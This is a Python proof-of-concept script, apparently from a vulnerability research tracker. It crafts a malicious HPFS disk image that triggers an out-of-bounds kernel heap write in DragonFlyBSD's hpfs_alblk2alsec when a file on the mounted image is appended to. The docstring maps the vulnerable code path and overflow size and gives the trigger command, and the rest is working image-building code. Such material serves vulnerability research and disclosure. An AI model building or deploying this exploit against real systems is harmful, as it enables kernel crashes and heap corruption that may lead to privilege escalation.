#!/usr/bin/env python3
"""
DF-0859 — Hand-crafted minimal HPFS image to trigger the ab_busycnt OOB
WRITE in hpfs_alblk2alsec() (and friends hpfs_splitalsec /
hpfs_concatalsec) end-to-end on the DragonFlyBSD guest.

These three helpers live on the HPFS WRITE/TRUNCATE path:

  hpfs_write  -> hpfs_extend -> hpfs_addextent
                                 -> hpfs_alblk2alsec   [sys/vfs/hpfs/hpfs_alsubr.c:314]
                                 -> hpfs_splitalsec    [sys/vfs/hpfs/hpfs_alsubr.c:229]
  open(O_TRUNC)/truncate -> hpfs_truncate -> hpfs_truncatealblk
                                            -> hpfs_concatalsec [sys/vfs/hpfs/hpfs_alsubr.c:278]

The image is the same minimal layout used by DF-0857's crafter (which
targets the READ path); the only difference is the trigger — here we
MOUNT READ-WRITE and WRITE past end-of-file, which routes through
hpfs_addextent.  Because the file fnode's forged fn_ab has:

    ab_busycnt = 255          (untrusted on-disk byte, never validated)
    ab_freecnt = 0            (so the `if (rabp->ab_freecnt <= 0)` test at
                               hpfs_alsubr.c:468 fires on the very first
                               hpfs_addextent call)
    ab_flag    = 0            (leaf — sizeof(alleaf_t) = 12)
    fn_size    = 0x10000      (so al.al_off = fn_size >> 9 = 0x80 > 0,
                               skipping the init block at hpfs_alsubr.c:349
                               that would clobber the forged alblk)

… the first call to hpfs_addextent falls straight into:

    rabp->ab_flag |= AB_FNPARENT;
    error = hpfs_alblk2alsec (hpmp, rabp, &nrasp, &nbp);   [hpfs_alsubr.c:479]

… whose body executes:

    sz = sizeof(alleaf_t);                                   [=12]
    bcopy(abp, nabp, sizeof(alblk_t) + sz*abp->ab_busycnt);  [line 314]
        = bcopy(fn_ab, new_alsec.as_ab, 8 + 12*255) = bcopy(..., ..., 3068)

Source: fnode fn_ab at offset 0x3C in struct hpfsnode; data area
        fn_abd is 96 bytes; reading 3068B reads 2964B past fn_abd into
        the rest of hpfsnode + neighbouring slab.
Destination: new alsec backing buffer is exactly DEV_BSIZE=512 bytes
        (allocated via getblk in hpfs_allocalsec, hpfs_alsubr.c:178).
        Writing 3068B at offset 12 (as_ab) overruns the 512B buffer by
        3080-512 = 2568 bytes into neighbouring slab.

On the default GENERIC kernel (INVARIANTS ON) the OOB write corrupts
the slab allocator's metadata and panics.

Image layout (sector size = 512B, DEV_BSIZE):

  LSN     contents
  ----    ---------------------------------------------------------------
  0x00    boot sector (zeros)
  0x10    SuperBlock   (magic FA53E9C5F995E849; rootfno=0x20; btotal=0x80;
                        su_bitmap.lsn1=0x30)
  0x11    SpareBlock   (magic FA5229C5F9911849)
  0x20    root fnode   (VDIR; fn_ab: busycnt=1, leaf; alleaf[0]={0,1,0x40})
  0x30    bitmap dir   (one u32 = 0x38, the bitmap sector)
  0x38    bitmap       (4KB = 8 sectors; mark used sectors)
  0x40    dirblk       (4 sectors = 2KB; D_MAGIC=77E40AAE; one dirent "FILE"
                        -> fnode LSN=0x48)
  0x48    file fnode   (VREG; FORGED fn_ab: busycnt=255, freecnt=0,
                        leaf; alleaf[0]={0,4,0x50}; fn_size=0x10000)
  0x50    file data    (4 sectors = 2KB of 'A')
  0x60..0x7F  free space (so hpm_bavail >= 0x10 passes the hpfs_extend guard)

Mount (root):  mount_hpfs /dev/vnX /mnt
Trigger (unpriv):  echo AAAA >> /mnt/FILE
        -> VOP_WRITE -> hpfs_write -> hpfs_extend -> hpfs_addextent
        -> freecnt<=0 -> hpfs_alblk2alsec -> bcopy(..., 3068) -> OOB WRITE
        -> panic (INVARIANTS) / heap corruption
"""
import struct, sys

SECTOR = 512
SU_MAGIC = 0xFA53E9C5F995E849
SP_MAGIC = 0xFA5229C5F9911849
FN_MAGIC = 0xF7E40AAE
D_MAGIC  = 0x77E40AAE

FN_OFF_MAGIC   = 0x00
FN_OFF_HIST    = 0x08
FN_OFF_NAMELEN = 0x10
FN_OFF_NAME    = 0x11
FN_OFF_PARENT  = 0x20
FN_OFF_FLAG    = 0x3B
FN_OFF_AB      = 0x3C
FN_OFF_ABD     = 0x44
FN_OFF_SIZE    = 0xA4
AB_OFF_FLAG     = 0
AB_OFF_FREECNT  = 4
AB_OFF_BUSYCNT  = 5
AB_OFF_FREEOFF  = 6

def build_image(outpath, forged_busycnt=255, forged_freecnt=0):
    size = 0x80 * SECTOR
    img = bytearray(size)

    def wr32(off, v): struct.pack_into('<I', img, off, v & 0xFFFFFFFF)
    def wr64(off, v): struct.pack_into('<Q', img, off, v & 0xFFFFFFFFFFFFFFFF)
    def wr16(off, v): struct.pack_into('<H', img, off, v & 0xFFFF)
    def wr8 (off, v): img[off] = v & 0xFF

    img[0] = 0xEB
    wr16(SECTOR-2, 0xAA55)

    su = 0x10 * SECTOR
    wr64(su + 0, SU_MAGIC)
    wr8 (su + 8, 2)
    wr32(su + 12, 0x20)
    wr32(su + 16, 0x80)
    wr32(su + 24, 0x30)
    wr32(su + 28, 0x30)

    sp = 0x11 * SECTOR
    wr64(sp + 0, SP_MAGIC)

    bd = 0x30 * SECTOR
    wr32(bd, 0x38)

    bm = 0x38 * SECTOR
    for i in range(0x60):
        img[bm + (i >> 3)] &= ~(1 << (i & 7))
    for i in range(0x60, 0x80):
        img[bm + (i >> 3)] |=  (1 << (i & 7))

    rf = 0x20 * SECTOR
    wr32(rf + FN_OFF_MAGIC, FN_MAGIC)
    wr8 (rf + FN_OFF_NAMELEN, 1)
    img[rf + FN_OFF_NAME] = ord('.')
    wr32(rf + FN_OFF_PARENT, 0x20)
    wr32(rf + FN_OFF_FLAG, 1)
    img[rf + FN_OFF_AB + AB_OFF_FLAG] = 0
    img[rf + FN_OFF_AB + AB_OFF_FREECNT] = 7
    img[rf + FN_OFF_AB + AB_OFF_BUSYCNT] = 1
    wr16(rf + FN_OFF_AB + AB_OFF_FREEOFF, 8 + 12)
    wr32(rf + FN_OFF_ABD + 0,  0)
    wr32(rf + FN_OFF_ABD + 4,  1)
    wr32(rf + FN_OFF_ABD + 8,  0x40)
    wr32(rf + FN_OFF_SIZE, 4 * SECTOR)

    db = 0x40 * SECTOR
    wr32(db + 0, D_MAGIC)
    wr32(db + 4, 0x50)
    wr32(db + 8, 0)
    wr32(db + 12, 0x20)
    wr32(db + 16, 0x40)
    name = b'FILE'
    de1_hdr = 0x2f
    de1_reclen = (de1_hdr + len(name) + 3) & ~3
    dep = db + 20
    wr16(dep + 0x00, de1_reclen)
    wr16(dep + 0x02, 0)
    wr32(dep + 0x04, 0x48)
    wr64(dep + 0x08, 0)
    wr32(dep + 0x10, 0x1000)
    wr64(dep + 0x18, 0)
    wr64(dep + 0x20, 0)
    wr32(dep + 0x28, 0)
    img[dep + 0x2c] = 0
    img[dep + 0x2d] = 0
    img[dep + 0x2e] = len(name)
    for i in range(len(name)):
        img[dep + 0x2f + i] = name[i]
    dep2 = dep + de1_reclen
    end_reclen = 4 * SECTOR - (dep2 - db)
    wr16(dep2 + 0x00, end_reclen)
    wr16(dep2 + 0x02, 0x08)
    wr32(db + 4, (dep2 + 4) - db)

    ff = 0x48 * SECTOR
    wr32(ff + FN_OFF_MAGIC, FN_MAGIC)
    wr32(ff + FN_OFF_PARENT, 0x20)
    wr8 (ff + FN_OFF_NAMELEN, 4)
    img[ff + FN_OFF_NAME + 0] = ord('F')
    img[ff + FN_OFF_NAME + 1] = ord('I')
    img[ff + FN_OFF_NAME + 2] = ord('L')
    img[ff + FN_OFF_NAME + 3] = ord('E')
    wr32(ff + FN_OFF_FLAG, 0)
    # FORGED alblk — leaf, busycnt=255, freecnt=0  -> triggers
    # hpfs_alblk2alsec on first hpfs_addextent.
    img[ff + FN_OFF_AB + AB_OFF_FLAG] = 0
    img[ff + FN_OFF_AB + AB_OFF_FREECNT] = forged_freecnt
    img[ff + FN_OFF_AB + AB_OFF_BUSYCNT] = forged_busycnt
    wr16(ff + FN_OFF_AB + AB_OFF_FREEOFF, 8 + 12)
    # alleaf[0]: one valid extent at LSN 0x50, len 4 sectors (2 KB)
    wr32(ff + FN_OFF_ABD + 0,  0)
    wr32(ff + FN_OFF_ABD + 4,  4)
    wr32(ff + FN_OFF_ABD + 8,  0x50)
    # poison subsequent alleaf entries
    for k in range(1, 8):
        off = ff + FN_OFF_ABD + k*12
        if off + 12 <= ff + FN_OFF_ABD + 0x60:
            wr32(off + 0, 0xDEADBEEF)
            wr32(off + 4, 0xCAFEBABE)
            wr32(off + 8, 0xFEEDFACE)
    # fn_size non-zero so al.al_off > 0 and the init block at :349 is skipped
    wr32(ff + FN_OFF_SIZE, 0x10000)

    fd = 0x50 * SECTOR
    img[fd:fd+4*SECTOR] = b'A' * (4*SECTOR)

    with open(outpath, 'wb') as f:
        f.write(img)
    print(f"wrote {outpath}: {len(img)} bytes; "
          f"forged busycnt={forged_busycnt} freecnt={forged_freecnt}")

if __name__ == '__main__':
    n = int(sys.argv[2], 0) if len(sys.argv) > 2 else 255
    build_image(sys.argv[1] if len(sys.argv) > 1 else 'df859.img',
                forged_busycnt=n)
